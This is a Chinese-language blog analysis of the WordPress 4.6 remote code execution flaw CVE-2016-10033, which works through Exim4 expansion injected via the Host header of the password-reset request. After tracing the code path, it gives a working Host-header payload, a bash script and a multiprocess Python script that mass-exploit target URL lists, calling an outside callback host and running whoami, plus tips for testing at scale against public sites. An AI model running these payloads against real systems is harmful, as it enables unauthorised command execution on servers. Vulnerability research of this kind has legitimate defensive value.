WordPress 4.6 RCE 漏洞分析

From:znn


CVE-2016-10033早在2016年12月就已经曝出,漏洞成因为WordPress调用phpmail通过将代码注入到/usr/bin/sendmail变量中从而执行系统命令。而本次最新WordPress 4.6 RCE漏洞则是利用Host头插入Exim4 MTA向量来执行命令。

漏洞概述

漏洞编号:CVE-2016-10033
影响版本:WordPress 4.6
该漏洞早在2016年12月就已经曝出,漏洞成因为WordPress调用phpmail
通过将代码注入到/usr/bin/sendmail变量中从而执行系统命令。而本次最新WordPress 4.6 RCE漏洞则是利用Host头插入Exim4 MTA向量来执行命令。

漏洞分析

1、php mail()历史漏洞
首先我们回顾下phpmail去年12月份曝出的漏洞,phpmail通过其内置mail()函数来发送邮件,其中mail()函数结构如下:

# php --rf mail
Function [ <internal:standard> function mail ] {
 - Parameters [5] {
 Parameter #0 [ <required> $to ]
 Parameter #1 [ <required> $subject ]
 Parameter #2 [ <required> $message ]
 Parameter #3 [ <optional> $additional_headers ]
 Parameter #4 [ <optional> $additional_parameters ]
 }
}

其中第5个参数$additional_parameters允许在linux的/usr/bin/sendmail中注入额外的参数。许多Web应用程序使用该参数来设置包含发件人地址/返回路径的参数,如:

-f email@server-address.com
-r email@server-address.com

通常mail()函数执行如下:

<?php
 $to = "john@localhost";
 $subject = "Simple Email";
 $headers = "From: mike@localhost";
 $body = 'Body of the message';
 $sender = "admin@localhost";
 mail($to, $subject, $body, $headers, "-f $sender");
?>

PHP则会执行execve()来调用系统/usr/bin/sendmail程序:

execve("/bin/sh", 
 ["sh", "-c", "/usr/sbin/sendmail -t -i -f admin@localhost"],
 [/* 24 environment vars */])

因此当$additional_parameters参数过滤不严导致代码被注入到sendmail中后将能直接执行系统命令。
关于更多的phpmail RCE漏洞参考如下链接:

https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html

2、WordPress 4.6 RCE 漏洞分析
本次漏洞入口点为http://wordpress/wp-login.php?action=lostpassword的HTTP Header的Host字段。该页面为找回管理员密码功能。
首先我们定位/wp-login.php的lostpassword函数,
接着进入retrieve_password函数,在#380行调用wp_mail()函数如下:
《WordPress 4.6 RCE 漏洞分析》
在/wp-includes/pluggable.php中查看wp-mail()函数,#324行发现WordPress提取_SERVER[‘SERVER_NAME’]作为发件人的域并拼接后传递到$form_email变量。
ps:记住这个$from_email变量,下文会用到。
《WordPress 4.6 RCE 漏洞分析》
之后在#471行将参数传递到Send()函数:
《WordPress 4.6 RCE 漏洞分析》
在/wp-includes/class-phpmailer中跟踪到Send()跳转到postSend()函数并最终到#1344行mailSend()函数,如下:
《WordPress 4.6 RCE 漏洞分析》
我们看到如下代码:

if (empty($this->Sender)) {
 $params = ' ';
} else {
 $params = sprintf('-f%s', $this->Sender);
}

该代码将我们看到Sender处理后传递到$params中,在#1364行并连同其他四个参数一同传递到mailPassthru()函数

$result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);

而Sender参数就是我们前面分析的$from_email参数传递过来的。
接上一步到#666行继续跟踪mailPassthru()函数:
《WordPress 4.6 RCE 漏洞分析》
注意到如下代码:

if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
 $result = @mail($to, $subject, $body, $header);
} else {
 $result = @mail($to, $subject, $body, $header, $params);
}

其中if语句中ini_get(‘safe_mode’)为php.ini的安全模式默认为off,UseSendmailOptions为phpmail参数,在/wp-includes/class-phpmailer.php#176行可以看到默认为true。因此条件为flase并将第5个参数$params带入到@mail()函数。
此时回过头来再看前面提到的php mail()函数存在的历史漏洞,是不是成功的把第5个参数传递到mail()函数中了呢。
3、WordPress 4.6 RCE 漏洞利用
通过前面的分析,我们来看看当进行一次下面的请求时系统执行的@mail()函数是怎么执行的:

POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xxxxxx
user_login=admin&wp-submit=Get+New+Password

结合前面的分析,此时将会执行下面的代码:

execve("/bin/sh", 
 ["sh", "-c", "/usr/sbin/sendmail -t -i -f xxxxxx"],
 [/* 24 environment vars */])

那我们令Host为xx command oo
是不是就能执行/usr/sbin/sendmail -t -i -f xx command oo了呢?
当然不是的。WordPress和phpmailer在host的域传入$from_email之前就已经做过了过滤。
@dawid_golunski在

https://exploitbox.io/vuln/WordPress-Exploit-4-7-Unauth-Password-Reset-0day-CVE-2017-8295.html

中提到了解决方案,利用RFC 3696 规范和 RFC 822 规范,提到邮件地址能够利用圆括号加入注释如:

john@example.com(comment comment)

其中注释中能够包含空格,并能够成功注入到$from_email中。
到此我们只需要考虑注入的内容,传统的sendmail利用MTA向量执行

-OQueueDirectory=/tmp/ -X/var/www/html/backdoor.php

来写入后门,但这种方法一来Sendmail MTA现在已经很少出现在linux发行版中,二来代码中出现了大写字母在传入_SERVER[‘SERVER_NAME’]的时候就已经被转换成了小写不能成功执行。
@dawid_golunski在

 https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html

中提到利用Exim4 MTA向量来执行代码,其格式如下:

sendmail -be '${run{/usr/bin/curl http://baidu.com}}'

当然我们在将其通过Host传递到@mail()之前,还需要处理一下特殊字符,
如’ ‘,’/’,’:’等特殊字符,不然路上就被WordPress和PhpMail过滤了。
我们可以通过exim的系统变量来提取特殊字符,这里列举两个如下:

var
$spool_directory
$tod_log
value
/var/spool/exim4
2017-05-05 16:54:51

利用substr提取特殊字符如下:
《WordPress 4.6 RCE 漏洞分析》
至此我们来构造一下Host为:

Host: xx(null -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}http${substr{13}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}${substr{0}{1}{$spool_directory}}baidu.com}} null)

该代码用来执行curl http://baidu.com 当然你可以把url换成你自己的ip用来验证漏洞是否存在,或者用CEYE Platform来进行测试。
4、POC_1

#!/bin/bash
echo "Usage: $0 url_file"
while read target
do
 echo $target
 host_header='asdf(xx -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}http${substr{13}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}${substr{0}{1}{$spool_directory}}n8nfy9.ceye.io${substr{13}{1}{$tod_log}}80${substr{0}{1}{$spool_directory}}${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}whoami}}}} null)'
 #记得将n8nfy9.ceye.io换成你回连的url
 curl -H"Host: $host_header" -s -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword --connect-timeout 10 -m 10
done < $1

5、POC_2

#!/usr/bin/env python
# -*- coding:utf-8 -*-
import sys
import time
import urllib2
import urllib
import socket
from multiprocessing import Pool,Manager
socket.setdefaulttimeout(20)
def ss(_url,l,n):
 url=_url+"/wp-login.php?action=lostpassword"
 cmd='${run{/usr/bin/curl http://n8nfy9.ceye.io/'+urllib.splittype(_url)[1].strip('/')+'}}'
 cmd=cmd.replace(' ','${substr{10}{1}{$tod_log}}').replace('/','${substr{0}{1}{$spool_directory}}').replace(':','${substr{13}{1}{$tod_log}}')
 header={"Host":"xenial(tmp1 -be "+cmd+" tmp2)","Accept":"*/*"}
 data=urllib.urlencode({"user_login":"admin","wp-submit":"Get+New+Password"})
 try:
 proxy_handler=urllib2.ProxyHandler({'http':'http://127.0.0.1:8080'})
 opener=urllib2.build_opener(proxy_handler)
 #urllib2.install_opener(opener)
 req=urllib2.Request(url,data=data,headers=header)
 urllib2.urlopen(req)
 except:
 pass
 finally:
 sys.stdout.write(str(n)+"/"+str(l)+" "*20+_url.strip()+' '*50 + '\r')
 sys.stdout.flush()
if __name__=='__main__':
 print("Usage: "+sys.argv[0]+" url_file")
 t1=time.time()
 print('#'*30+' start time:'+time.ctime())
 pool = Pool(processes = 8)
 a=open(sys.argv[1]).readlines()
 l=len(a)+1
 n=1
 for i in a:
 pool.apply_async(ss,args=(i.strip(),l,n))
 n+=1
 pool.close()
 pool.join()
 print('#'*30+' end time:'+time.ctime())
 print("use %s sec"%(time.time()-t1))

如下用ceye测试存在漏洞的两个回显,其中一个内网一个公网。
《WordPress 4.6 RCE 漏洞分析》

测试环境

OS : linux(kali)
Server: Apache/2.4.23 (Debian)
PHP : v7.0.9-2
webapp: WordPress 4.6
Ext: Exim 4.87

参考链接

https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
http://bobao.360.cn/news/detail/4146.html

后记

测试过程中踩的几个坑,记录如下:
1、host中特殊字符问题
前面提到传入的变量要把空格和斜杠替换,我在测试过程中用的curl进行证明漏洞存在,一直不成功,后来才注意到http://xx.xx/这种含有冒号的也要将冒号替换成${substr{13}{1}{$tod_log}}。如果换成包含其他特殊字符的代码,也需要用exim的系统变量进行转换下。
2、超时问题
这个在大批量测试公网的wordpress漏洞时,跑的都是国外的url,受网络限制连接比较慢,并且host中这么长一大串,连接过程中Web服务器、防护设备都会进行层次检测,需要设置尽量长的超时,最好10s以上,不然测试很难成功。
3、WordPress版本问题
我在本地部署wp测试的时候,测试了4.5.8、4.6、4.6.1、4.6.5四个版本,只有4.6版本能成功。
4、curl和urllib问题
最开始写poc的时候是用python写的,无数次的失败测试后,才发现在bash中用curl竟然能成功,抓包后对比发现两种情况下的数据包如下:
《WordPress 4.6 RCE 漏洞分析》
左边是在bash中执行curl的包,右边是python中用urllib2的包。对比发现原因是urllib2的header中少了Accept: */*字段。查看资料后才发现Accept代表客户端希望接受的数据类型,而在urllib2的包中只有Accept-Encoding,声明客户端支持的编码类型。直接修改python的poc,在header中加入{“Accept”:”*/*”}即可。

点赞

发表评论